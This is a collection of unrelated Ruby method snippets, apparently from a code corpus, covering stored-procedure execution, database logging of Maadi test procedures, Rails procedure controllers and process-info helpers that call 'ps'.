"def get_procedures\n connect_db.fetch(\"SELECT RDB$PROCEDURE_NAME, RDB$PROCEDURE_SOURCE FROM RDB$PROCEDURES\")\n end",
"def procedure_params\n params[:procedure]\n end",
"def to_s\n \"#<procedure:#{ @name }>\"\n end",
"def show\n @procedures = @property.procedures\n end",
"def proc_descr ( code = proc_code )\n proc = Procedure.find_by(code: code )\t \n return proc.descr rescue '' \n end",
"def procedure\n @procedure = @summary[\"strInstructions\"]\n end",
"def execute_procedure(proc_name, *variables)\n vars = if variables.any? && variables.first.is_a?(Hash)\n variables.first.map { |k, v| \"@#{k} = #{quote(v)}\" }\n else\n variables.map { |v| quote(v) }\n end.join(', ')\n sql = \"EXEC #{proc_name} #{vars}\".strip\n name = 'Execute Procedure'\n log(sql, name) do\n case @connection_options[:mode]\n when :dblib\n result = @connection.execute(sql)\n result.each(as: :hash, cache_rows: true) do |row|\n r = row.with_indifferent_access\n yield(r) if block_given?\n end\n result.each.map { |row| row.is_a?(Hash) ? row.with_indifferent_access : row }\n when :odbc\n results = []\n raw_connection_run(sql) do |handle|\n get_rows = lambda do\n rows = handle_to_names_and_values handle, fetch: :all\n rows.each_with_index { |r, i| rows[i] = r.with_indifferent_access }\n results << rows\n end\n get_rows.call\n get_rows.call while handle_more_results?(handle)\n end\n results.many? ? results : results.first\n end\n end\n end",
"def info\n do_rpc({:id=>1,\n :procedure=>:info,\n :arguments=>[model_rid, {}]\n })\n end",
"def show\n @procedure = Procedure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @procedure }\n format.json { render :json => @procedure }\n \n end\n end",
"def log_procedure( procedure )\n if Maadi::Procedure::Procedure::is_procedure?( procedure )\n t = Time.now\n File.open( @options['FILENAME'], 'a') do |f|\n f.puts \"#{t.strftime('%Y%m%d%H%M%S')}\\tPROCEDURE\\t#{procedure.key_id}\\t#{procedure.to_s}\"\n\n procedure.steps.each do |step|\n f.puts \"\\tSTEP\\t#{step.key_id}\\t#{step.id.to_s}\\t#{step.command}\\t#{step.execute}\"\n\n step.parameters.each do |parameter|\n f.puts \"\\tPARAMETER\\t#{parameter.key_id}\\t#{parameter.label}\\t#{parameter.value.to_s}\\t#{parameter.constraint.to_s}\"\n end\n end\n\n procedure.comparisons.each do |comparison|\n f.puts \"\\tCOMPARE\\t#{comparison.id}\\t#{comparison.relationship}\"\n comparison.steps.each do |item|\n f.puts \"\\t\\tSTEP\\t#{item.id}\\t#{item.key_id}\"\n end\n end\n end\n end\n end",
"def execute_procedure(proc_name, *variables, &block)\n vars = if variables.any? && variables.first.is_a?(Hash)\n variables.first.map { |k, v| \"@#{k} = #{quote(v)}\" }\n else\n variables.map { |v| quote(v) }\n end.join(', ')\n sql = \"EXEC #{proc_name} #{vars}\".strip\n log(sql, 'Execute Procedure') do\n result = @connection.execute(sql)\n\n return [] unless result\n\n if result.is_a?(Array)\n result.map! do |res|\n process_execute_procedure_result(res, &block)\n end\n else\n result = process_execute_procedure_result(result, &block)\n end\n\n result\n end\n end",
"def get_full_ps_info(pid)\n ps_fullcmd = @ps_fullcmd_fmt % pid\n # p ps_fullcmd\n output = `#{ps_fullcmd}`\n return output\n end",
"def procedure_description_kind \n self.values[:procedure_description_kind]\n end",
"def routines_dump\n structure = \"\"\n return structure unless supports_routines?\n\n sql = \"SELECT ROUTINE_TYPE as type, ROUTINE_NAME as name FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA='#{current_database}'\"\n\n select_all(sql).each do |row|\n structure << select_one(\"SHOW CREATE #{row['type']} #{row['name']}\")[\"Create #{row['type'].capitalize}\"]\n structure.gsub!(/^(CREATE).+(PROCEDURE|FUNCTION)/, '\\1 \\2')\n structure << \";\\n\\n\"\n end\n\n structure\n end",
"def operation_details(opid)\n call('operation_details', opid)\n end",
"def get_execution_info; end",
"def procedure_params\n params.require(:procedure).permit(:description, :name, :procedure_ID)\n end",
"def get_arguments_from_stored_procedure( package_name, object_name )\n key = package_name + '_' + object_name\n if @@user_arguments_cache[key].nil?\n #RAILS_DEFAULT_LOGGER.info \"\\n\" << \"GETTING ARGUMENTS FOR THE STORED PROCEDURE AND CACHING!\"\n select_statement = \"SELECT argument_name, data_type, data_length, data_precision, data_scale, in_out, overload \n FROM user_arguments WHERE object_name = '#{object_name.upcase}' \n AND package_name = '#{package_name.upcase}' \n ORDER BY POSITION\"\n \n #RAILS_DEFAULT_LOGGER.info \"\\n\" << select_statement << \"\\n\"\n user_arguments = recordset_from_plsql(select_statement) \n @@user_arguments_cache[key] = user_arguments\n else\n #RAILS_DEFAULT_LOGGER.info \"\\n\" << \"THE ARGUMENTS ARE CACHED\"\n end\n return @@user_arguments_cache[key]\n end",
"def recordset_from_stored_procedure(sp)\n \n plsql = $connection.parse(sp)\n plsql.bind_param(':out', OCI8::Cursor)\n plsql.exec\n \n cursor = plsql[':out']\n \n \n recordset, = pack_cursor(cursor, :return => 'hash')\n plsql.close\n return recordset\n end",
"def log_procedure( procedure )\n if Maadi::Procedure::Procedure::is_procedure?( procedure )\n\n end\n end",
"def get_invoke\n repo, lang, versions, path, procedure_id =\n params.values_at(:repo, :lang, :versions, :path, :procedure_id)\n\n if p = ProcedureModel.first(id: procedure_id)\n if p.public? || user? == p.user\n shell_stream escape_path( \"=== Invoking \\\"%s\\\" Procedure ===\\n\" % p.name )\n \n commands = p.commands.split(/\\r?\\n/).reject { |c| c.strip.size == 0 }\n\n opted_versions(lang, versions).each do |version|\n commands.each do |cmd|\n rt_spawn *[lang, version, p.user, repo, path, cmd].shellify\n end\n end\n else\n rpc_stream :error, '=== Please Login ==='\n end\n end\n end",
"def call(stored_procedure_call, *attributes)\n connection.select_all generate_sql_query(stored_procedure_call, *attributes)\n end",
"def get_procedure_literal\r\n save, @buffer = @buffer, \"\"\r\n open_procedure_literal\r\n\r\n begin\r\n token = get_procedure_token\r\n due_token(token)\r\n end until token.has_tag?(:end)\r\n\r\n close_procedure_literal\r\n (_, @buffer = @buffer, save)[0]\r\n end",
"def exec_proc(proc_name, *variables)\n vars =\n if variables.any? && variables.first.is_a?(Hash)\n variables.first.map { |k, v| \"@#{k} = #{quote(v)}\" }\n else\n variables.map { |v| quote(v) }\n end.join(', ')\n sql = \"EXEC #{proc_name} #{vars}\".strip\n log(sql, 'Execute Procedure') do\n result = @connection.execute_query_raw(sql)\n result.map! do |row|\n row = row.is_a?(Hash) ? row.with_indifferent_access : row\n yield(row) if block_given?\n row\n end\n result\n end\n end",
"def fetch(rid)\n do_rpc({:id=>1,\n :procedure=>:info,\n :arguments=>[rid, {}],\n })\n end",
"def extract_method_details; end",
"def getProcessInfo\n rProcessInfo = nil\n rProcessParams = nil\n\n if (@Context.Properties[:Execute] != nil)\n lSymProcess = @Context.Properties[:Execute][:Process]\n rProcessInfo = @Context.Processes[lSymProcess]\n if (rProcessInfo == nil)\n raise RuntimeError.new(\"No process info associated to #{lSymProcess.to_s}\")\n end\n rProcessParams = @Context.Properties[:Execute][:Parameters] || {}\n end\n\n return rProcessInfo, rProcessParams\n end",
"def show\n @question_scan_procedure = QuestionScanProcedure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question_scan_procedure }\n end\n end",
"def procedure( id )\n if @db != nil\n\n end\n\n return nil\n end",
"def proc_table\n find_all\n return @proc_table\n end",
"def info_sql\n INFO_SQL\n end",
"def set_procedure\n @procedure = Procedure.find(params[:id])\n end",
"def set_procedure\n @procedure = Procedure.find(params[:id])\n end",
"def getSignature(id)\n if not @procedures.has_key?(id)\n return \"#{id} doesn't exist\"\n else\n info = @procedures[id]\n msg = \"The signature is: #{info[:return_type]} #{info[:id]}(\"\n temp = []\n info[:args].each { |arg|\n str = \"#{arg[:type]}\"\n if arg[:ref]\n if arg[:array]\n str = str + \" [\" + arg[:size] + \"]\"\n else\n str = str + \" &\"\n end\n end\n temp.push(str)\n }\n msg = msg + temp.join(\",\") + \")\"\n return msg\n end\n end",
"def set_procedure\n @procedure = Procedure.find(params[:id])\n end",
"def log_procedure( procedure )\n prId = -1\n\n if Maadi::Procedure::Procedure::is_procedure?( procedure )\n t = Time.now\n log_time = \"#{t.strftime('%Y/%m/%d %H:%M:%S')}\"\n\n if @db != nil\n is_ok = false\n\n begin\n stm = @db.prepare( 'INSERT INTO tblProcedures (pTime, pProc) VALUES (?, ?)')\n stm.bind_params( log_time, procedure.to_s )\n rs = stm.execute\n prId = @db.last_insert_row_id.to_s\n stm.close\n is_ok = true\n rescue ::SQLite3::Exception => e\n Maadi::post_message(:Warn, \"Repository (#{@type}:#{@instance_name}) encountered an INSERT Procedure error (#{e.message}).\")\n return\n end\n\n if is_ok && prId != -1\n if procedure.key_id == -1\n procedure.key_id = prId\n end\n end\n\n if @options['LOG_LEVEL'] != 'FULL'\n is_ok = false\n end\n\n if is_ok && prId != -1\n # attempt to insert the procedure's steps into the tblSteps, since the tblProcedure INSERT was successful\n # CREATE TABLE tblSteps ( sID integer primary key, pID integer, sLabel varchar(255), sCommand TEXT, sFinal TEXT)\n\n procedure.steps.each do |step|\n is_ok = false\n stId = -1\n\n begin\n stm = @db.prepare( 'INSERT INTO tblSteps (pID, sLabel, sCommand, sFinal) VALUES (?, ?, ?, ?)')\n stm.bind_params( prId, step.id.to_s, step.command, step.execute )\n rs = stm.execute\n stId = @db.last_insert_row_id.to_s\n stm.close\n is_ok = true\n rescue ::SQLite3::Exception => e\n Maadi::post_message(:Warn, \"Repository (#{@type}:#{@instance_name}) encountered an INSERT Step error (#{e.message}).\")\n return\n end\n\n if is_ok && stId != -1\n if step.key_id == -1\n step.key_id = stId\n end\n\n is_ok = false\n\n # attempt to insert the step's parameters into the tblParameters, since the tblSteps INSERT was successful\n # CREATE TABLE IF NOT EXISTS tblParameters ( pID integer primary key, sID integer, pLabel varchar(255), pValue varchar(255), pConstraint varchar(255))\n\n step.parameters.each do |parameter|\n is_ok = false\n\n begin\n stm = @db.prepare( 'INSERT INTO tblParameters (sID, pLabel, pValue, pConstraint) VALUES (?, ?, ?, ?)')\n stm.bind_params( stId, parameter.label, parameter.value.to_s, parameter.constraint.to_s )\n rs = stm.execute\n paId = @db.last_insert_row_id.to_s\n stm.close\n is_ok = true\n rescue ::SQLite3::Exception => e\n Maadi::post_message(:Warn, \"Repository (#{@type}:#{@instance_name}) encountered an INSERT Parameter error (#{e.message}).\")\n return\n end\n\n if parameter.key_id == -1\n parameter.key_id = paId\n end\n end\n end\n end\n\n procedure.comparisons.each do |comparison|\n is_ok = false\n cpId = -1\n\n begin\n stm = @db.prepare( 'INSERT INTO tblComparisons ( pID, sID1, sID2, cRelationship ) VALUES (?, ?, ?, ?)')\n stm.bind_params( prId, comparison.steps[0].key_id, comparison.steps[1].key_id, comparison.relationship )\n rs = stm.execute\n cpId = @db.last_insert_row_id.to_s\n stm.close\n is_ok = true\n rescue ::SQLite3::Exception => e\n Maadi::post_message(:Warn, \"Repository (#{@type}:#{@instance_name}) encountered an INSERT Comparison error (#{e.message}).\")\n return\n end\n\n if is_ok && cpId != -1\n if comparison.key_id == -1\n comparison.key_id = cpId\n end\n end\n end\n end\n end\n end\n end",
"def call_for_one(stored_procedure_call, *attributes)\n call(stored_procedure_call, *attributes).first\n end",
"def procedure_names_by_status( status )\n procedures = Array.new\n\n if @db != nil\n is_ok = false\n\n begin\n stm = @db.prepare( 'SELECT qProc, qStatus, COUNT( qStatus ) As qCount FROM qryResults WHERE qStatus = ? GROUP BY qProc, qStatus ORDER BY qProc, qStatus')\n stm.bind_params( status.to_s )\n rs = stm.execute\n\n rs.each do |row|\n result = { 'name' => row['qProc'], 'status' => row['qStatus'], 'count' => row['qCount'] }\n procedures.push result\n end\n\n stm.close\n is_ok = true\n rescue ::SQLite3::Exception => e\n Maadi::post_message(:Warn, \"Repository (#{@type}:#{@instance_name}) encountered an SELECT Procedure Names by Status Code error (#{e.message}).\")\n end\n end\n\n return procedures\n end",
"def get_execution_info\n execution = @swf.describe_workflow_execution(\n domain: @domain,\n execution: @execution\n )\n execution[\"executionInfo\"]\n end",
"def details\n\n end",
"def visitProcedureCall(procedurecall,args=nil) \n say \"visitProcedureCall\"\n indent\n procedurecall.name.accept(self,nil)\n procedurecall.actualParams.accept(self,nil) if procedurecall.actualParams\n desindent\n end",
"def procedure_parms(token, word)\r\n if word.end_with?('{{')\r\n token.add(get_procedure_literal, [:procedure])\r\n end\r\n end",
"def get_procedure_token\r\n error \"F12: Error, Invalid nesting.\" unless (token = get_token)\r\n token\r\n end",
"def details; end",
"def get_info\n puts @name + ' [ID: ' + @id.to_s + ' @ '+ @@company + ']'\n end",
"def result_info\n return @result_info\n end",
"def result_info\n return @result_info\n end",
"def pgrespcode\n\t\t \tparams['pgRespCode']\n\t\t end",
"def details\n end",
"def list_processes\n check_connection\n @fields = @protocol.process_info_command\n @result_exist = true\n store_result\n end",
"def details\n data()\n end",
"def get_info\n end",
"def get_info\n end",
"def get_info\n end",
"def info_sql\n \"#{INFO_SQL} AND pg_catalog.pg_get_function_arguments(p.oid) = '#{to_s}'\"\n end",
"def procedure(returntype, name, number, argtype, &block)\n\t\tnewproc = Procedure.new(number, returntype, argtype, &block)\n\t\tadd_procedure(name, number, newproc)\n\tend",
"def ps\n `ps haxo pid,ppid,cmd`\n end",
"def ps(app_name)\n deprecate # 07/31/2012\n json_decode get(\"/apps/#{app_name}/ps\", :accept => 'application/json').to_s\n end",
"def gather_psinfo\n `#{@ps_cmd}`.split(/\\n/).map do |line|\n if line =~ /\\s*(\\d+) (.+)$/\n [$1.to_i, $2]\n else\n nil\n end\n end.compact\n end",
"def service_info(name)\n\t\tif session_has_services_depend?\n\t\t\tmeterpreter_service_info(name)\n\t\telse\n\t\t\tshell_service_info(name)\n\t\tend\n\tend",
"def get_detail\n return self.inspect\n end",
"def get_metadata\n vm, rest = API.compile( @db.handle, @statement.to_s )\n result = API.step( vm )\n API.finalize( vm )\n\n if result[:error]\n raise Exceptions::DatabaseException, \"error in step\"\n end\n\n @columns = result[:columns]\n @types = result[:types]\n end",
"def execute(test_id, procedure)\n results = Maadi::Procedure::Results.new(test_id.to_i, 0, \"#{@type}:#{@instance_name}\", nil)\n if procedure.is_a? ( ::Maadi::Procedure::Procedure)\n results.proc_id = procedure.id\n\n procedure.steps.each do |step|\n if step.target == 'application'\n if supports_step? (step)\n\n #lValue is the item that is modified (usually the stack)\n lValue = -1\n lType = 'TEXT'\n #rValue is the item that is not modified during an operation\n rValue = -1\n rType = 'TEXT'\n bSuccess = false\n bError = false\n #The normal operation call\n operationString = ''\n #Used when a status update is needed, like the size of the stack after a push\n lValueOPString = ''\n rValueOPString = ''\n\n begin\n case step.id\n\n #Case for when a push is called\n when 'PUSH'\n #Get the value to add to the push\n rValue = step.get_parameter_value('[RVALUE]')\n\n #If the stack is instantiated, then work\n if @rStack != nil && rValue != ''\n\n operationString = @options['STACKNAME'] + \".push(\" + rValue + \");\\n\"\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation(operationString, lValueOPString, '')\n\n #Set lValue - index 2 (STDOUT)\n lValue = cmdResultsArray.at(2)\n lType = 'INTEGER'\n\n bSuccess = true\n bError = false\n else\n #Error: the stack was not instantiated!\n lValue = rValue = 'PUSH Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n\n when 'POP'\n #Make sure the stack is initialized.\n if @rStack != nil\n #Need to check for size first\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n #First run the operation to check the size. If the size is zero, then flag error and exit\n cmdResultsArray = runOperation('', lValueOPString, '')\n\n if cmdResultsArray.at(2).to_i == 0\n lValue = rValue = 'POP Failed, Stack is empty'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n else\n #Run the operation normally: Setup the operation string and parse for results.\n operationString = \"System.out.println(\" + @options['STACKNAME'] + \".pop());\\n\"\n #Run the operation\n cmdResultsArray = runOperation(operationString, lValueOPString, '')\n\n #Set lValue - index 0 (STDOUT)\n lValue = cmdResultsArray.at(0)\n lType = 'INTEGER'\n\n #Set the rValue - index 2 (STDOUT)\n rValue = cmdResultsArray.at(2)\n rType = 'INTEGER'\n\n bSuccess = true\n bError = false\n end\n else\n lValue = rValue = 'POP Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n\n when 'SIZE'\n if @rStack != nil\n operationString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation(operationString, '', '')\n\n #Set lValue - index 0 (STDOUT)\n lValue = cmdResultsArray.at(0)\n lType = 'INTEGER'\n\n bSuccess = true\n bError = false\n else\n lValue = rValue = 'SIZE Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n when 'ATINDEX'\n\n #Get the index value\n stringIndex = step.get_parameter_value('[INDEX]')\n index = stringIndex.to_i\n\n if @rStack != nil && index != ''\n #Need to check for size first\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n\n #First run the operation to check the size. If the size is zero, then flag error and exit\n cmdResultsArray = runOperation('', lValueOPString, '')\n\n #get the size\n tempSize = cmdResultsArray.at(2).to_i\n\n if tempSize == 0\n\n #If the stack is empty, then there is no point to index something.\n lValue = rValue = 'ATINDEX Failed, Stack is empty'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n elsif index >= tempSize\n\n # Check to make sure the index is within bounds of the size.\n lValue = rValue = 'ATINDEX Failed, requested index is larger than stack size'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n else\n\n #Everything is good, continue onward.\n rValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".atIndex(\" + stringIndex + \"));\\n\"\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation('', lValueOPString, rValueOPString)\n\n #Set lValue - index 2 (STDOUT)\n lValue = cmdResultsArray.at(2)\n lType = 'INTEGER'\n\n #Set rValue = index 4 (STDOUT)\n rValue = cmdResultsArray.at(4)\n rType = 'INTEGER'\n\n bSuccess = true\n bError = false\n end\n\n else\n lValue = rValue = 'ATINDEX Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n\n when 'NULCONSTRUCT'\n\n operationString = @options['CLASSNAME'] + \" \" + @options['STACKNAME'] + \" = new \" + @options['CLASSNAME'] + \"();\\n\"\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation(operationString, lValueOPString, '')\n\n #Set lValue - index 0 (STDOUT)\n rValue = lValue = cmdResultsArray.at(2)\n rType = lType = 'INTEGER'\n\n bSuccess = true\n bError = false\n\n #We use rStack as an indication that the stack was created. Otherwise, pops on an uninitialized stack will occur.\n #this is to help prevent errors.\n @rStack = true\n\n when 'NONNULCONSTRUCT'\n\n # CURRENTLY DOES NOT TAKE A SIZE\n operationString = @options['CLASSNAME'] + \" \" + @options['STACKNAME'] + \" = new \" + @options['CLASSNAME'] + \"();\\n\"\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation(operationString, lValueOPString, '')\n\n #Set lValue - index 0 (STDOUT)\n rValue = lValue = cmdResultsArray.at(2)\n rType = lType = 'INTEGER'\n\n bSuccess = true\n bError = false\n\n @rStack = true\n when 'DETAILS'\n\n if @rStack != nil\n operationString = ''\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \");\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation('', lValueOPString, '')\n\n #Set lValue - index 0 (STDOUT)\n lValue = cmdResultsArray.at(2)\n lType = 'TEXT'\n\n bSuccess = true\n bError = false\n else\n lValue = rValue = 'DETAILS Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n\n when 'PEEK'\n\n if @rStack != nil\n #Need to check for size first\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n\n #First run the operation to check the size. If the size is zero, then flag error and exit\n cmdResultsArray = runOperation('', lValueOPString, '')\n\n #get the size\n tempSize = cmdResultsArray.at(2).to_i\n\n if tempSize == 0\n\n #If the stack is empty, then there is no point to index something.\n lValue = rValue = 'PEEK Failed, Stack is empty'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n\n else\n\n #Everything is good, continue onward.\n rValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".atIndex(0));\\n\"\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation('', lValueOPString, rValueOPString)\n\n #Set lValue - index 2 (STDOUT)\n lValue = cmdResultsArray.at(2)\n lType = 'INTEGER'\n\n #Set rValue = index 4 (STDOUT)\n rValue = cmdResultsArray.at(4)\n rType = 'INTEGER'\n\n bSuccess = true\n bError = false\n end\n\n else\n lValue = rValue = 'PEEK Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n\n when 'TOP'\n\n if @rStack != nil\n #Need to check for size first\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n\n #First run the operation to check the size. If the size is zero, then flag error and exit\n cmdResultsArray = runOperation('', lValueOPString, '')\n\n #get the size\n tempSize = cmdResultsArray.at(2).to_i\n\n if tempSize == 0\n\n #If the stack is empty, then there is no point to index something.\n lValue = rValue = 'TOP Failed, Stack is empty'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n\n else\n\n #Everything is good, continue onward.\n rValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".atIndex(0));\\n\"\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation('', lValueOPString, rValueOPString)\n\n #Set lValue - index 2 (STDOUT)\n lValue = cmdResultsArray.at(2)\n lType = 'INTEGER'\n\n #Set rValue = index 4 (STDOUT)\n rValue = cmdResultsArray.at(4)\n rType = 'INTEGER'\n\n bSuccess = true\n bError = false\n end\n\n else\n lValue = rValue = 'TOP Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n\n when 'BOTTOM'\n\n if @rStack != nil\n #Need to check for size first\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n\n #First run the operation to check the size. If the size is zero, then flag error and exit\n cmdResultsArray = runOperation('', lValueOPString, '')\n\n #get the size\n tempSize = cmdResultsArray.at(2).to_i\n\n if tempSize == 0\n\n #If the stack is empty, then there is no point to index something.\n lValue = rValue = 'BOTTOM Failed, Stack is empty'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n\n else\n #Everything is good, continue onward.\n rValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".atIndex(\"+ @options['STACKNAME'] + \".size() -1));\\n\"\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n #Run the operation\n cmdResultsArray = runOperation('', lValueOPString, rValueOPString)\n #Set lValue - index 2 (STDOUT)\n lValue = cmdResultsArray.at(2)\n lType = 'INTEGER'\n\n #Set rValue = index 4 (STDOUT)\n rValue = cmdResultsArray.at(4)\n rType = 'INTEGER'\n\n bSuccess = true\n bError = false\n\n end\n\n else\n lValue = rValue = 'BOTTOM Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n end\n\n\n\n #Print some meaningful information\n Maadi::post_message(:Info, \"#{@type}:#{@instance_name} #{step.id} Operation String: ' #{operationString.to_s}\",3)\n if lValue != -1\n Maadi::post_message(:Info, \"#{@type}:#{@instance_name} #{step.id} lValueOPString: ' #{lValueOPString.to_s}\",3)\n Maadi::post_message(:Info, \"#{@type}:#{@instance_name} #{step.id} lValue: ' #{lValue.to_s}\",3)\n end\n if rValue != -1\n Maadi::post_message(:Info, \"#{@type}:#{@instance_name} #{step.id} rValueOPString: ' #{rValueOPString.to_s}\",3)\n Maadi::post_message(:Info, \"#{@type}:#{@instance_name} #{step.id} rValue: ' #{rValue.to_s}\",3)\n end\n\n\n #Handle the results\n case step.look_for\n when 'NORECORD'\n when 'LVALUE'\n results.add_result( Maadi::Procedure::Result.new( step, lValue.to_s, lType, ( !bError and bSuccess ) ? 'SUCCESS' : 'FAILURE' ))\n when 'RVALUE'\n results.add_result( Maadi::Procedure::Result.new( step, rValue.to_s, rType, ( !bError and bSuccess ) ? 'SUCCESS' : 'FAILURE' ))\n when 'CHANGES'\n results.add_result( Maadi::Procedure::Result.new( step, '', 'TEXT', ( !bError and bSuccess ) ? 'SUCCESS' : 'FAILURE' ))\n when 'COMPLETED'\n results.add_result( Maadi::Procedure::Result.new( step, '', 'TEXT', ( !bError and bSuccess ) ? 'SUCCESS' : 'FAILURE' ))\n else\n results.add_result( Maadi::Procedure::Result.new( step, step.look_for, 'TEXT', 'UNKNOWN' ))\n end\n rescue => e\n Maadi::post_message(:Warn, \"Application (#{@type}:#{@instance_name}) encountered an error (#{e.message}).\")\n results.add_result( Maadi::Procedure::Result.new( step, e.message, 'TEXT', 'EXCEPTION' ))\n end\n else\n Maadi::post_message(:Warn, \"Application (#{@type}:#{@instance_name}) encountered an unsupported step (#{procedure.id}, #{step.id}).\")\n end\n end\n end\n end\n\n\n\n\n #When finished, return the results\n return results\n end",
"def get_profile_information\n # body = {\n # cmd: \"get_profile_information\"\n # }\n\n end",
"def display_method_info\n end",
"def inspect\n @info.inspect \n end",
"def info\n @client.call(self.class, __callee__.to_s, @call_params)\n end",
"def details(*args); end",
"def get_ps_info args={}, &block\n return if OS.windows?\n\n pid = args[:pid]\n\n EM.system('sh', proc{ |process|\n process.send_data \"ps auxw | grep \" + pid.to_s + \" | grep -v 'grep'\\n\"\n process.send_data \"exit\\n\"\n }) { |output, status|\n if status.exitstatus == 0\n format args, output, &block\n else\n block.call status, nil if block\n end\n }\n end",
"def inspect\n\t\tstr = self.to_s\n\t\tstr[-1,0] = if finished?\n\t\t\t\" finished\"\n\t\telse\n\t\t\tstats = []\n\t\t\tstats << \" status=#{ PG.constants.grep(/CONNECTION_/).find{|c| PG.const_get(c) == status} }\" if status != CONNECTION_OK\n\t\t\tstats << \" transaction_status=#{ PG.constants.grep(/PQTRANS_/).find{|c| PG.const_get(c) == transaction_status} }\" if transaction_status != PG::PQTRANS_IDLE\n\t\t\tstats << \" nonblocking=#{ isnonblocking }\" if isnonblocking\n\t\t\tstats << \" pipeline_status=#{ PG.constants.grep(/PQ_PIPELINE_/).find{|c| PG.const_get(c) == pipeline_status} }\" if respond_to?(:pipeline_status) && pipeline_status != PG::PQ_PIPELINE_OFF\n\t\t\tstats << \" client_encoding=#{ get_client_encoding }\" if get_client_encoding != \"UTF8\"\n\t\t\tstats << \" type_map_for_results=#{ type_map_for_results.to_s }\" unless type_map_for_results.is_a?(PG::TypeMapAllStrings)\n\t\t\tstats << \" type_map_for_queries=#{ type_map_for_queries.to_s }\" unless type_map_for_queries.is_a?(PG::TypeMapAllStrings)\n\t\t\tstats << \" encoder_for_put_copy_data=#{ encoder_for_put_copy_data.to_s }\" if encoder_for_put_copy_data\n\t\t\tstats << \" decoder_for_get_copy_data=#{ decoder_for_get_copy_data.to_s }\" if decoder_for_get_copy_data\n\t\t\t\" host=#{host} port=#{port} user=#{user}#{stats.join}\"\n\t\tend\n\t\treturn str\n\tend",
"def provision_sp16_print_info(vm_name, vm_config) \n\n require_string(vm_name)\n require_vagrant_config(vm_config)\n\n log_info_light(\"#{vm_name}: SharePoint 2016: print info\")\n\n vm_config.vm.provision \"shell\",\n path: \"#{vagrant_script_path}/vagrant/uplift.vagrant.sharepoint/sp2016.info.ps1\"\n\n _track_ai_event(__method__, {\n 'vm_name': vm_name\n })\n end",
"def inspect\n @info.inspect\n end",
"def inspect\n @info.inspect\n end",
"def info\n @info\n end",
"def info\n @info\n end",
"def getParamDetail(paramName)\n printDebugMessage('getParamDetail', 'Begin', 1)\n printDebugMessage('getParamDetail', 'paramName: ' + paramName, 2)\n xmlDoc = restRequest(baseUrl + '/parameterdetails/' + paramName)\n doc = REXML::Document.new(xmlDoc)\n printDebugMessage('getParamDetail', 'End', 1)\n return doc.root.elements['//parameter']\n end",
"def ps\n sql = %q(\n select\n procpid,\n application_name as source,\n age(now(),query_start) as running_for,\n waiting,\n current_query as query\n from pg_stat_activity\n where\n current_query <> '<insufficient privilege>'\n AND current_query <> '<IDLE>'\n and procpid <> pg_backend_pid()\n order by 3 desc\n )\n\n exec_sql(sql, find_uri)\n end",
"def inspect\n string = \"svc name [#{@service_name}], seqid #{sequence_id.inspect}, \"\n string << \"addr #{@address.inspect}, \"\n string << \"payload #{@payload.inspect}\"\n string\n end",
"def get_info_of_funcname(_func_name='')\n\t\tdb_get_info_of_funcname(_func_name)\n\tend",
"def details\n data = Storm::Base::SODServer.remote_call '/Server/details',\n :uniq_id => @uniq_id\n self.from_hash data\n end",
"def show\n @pluto_process_definition = collection.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @pluto_process_definition }\n end\n end",
"def get\n execute(:get).to_s\n end",
"def parameters(method_name = \"()\")\n @inspecter.method(method_name.to_sym).parameters\n end",
"def procs\n @procs\n end",
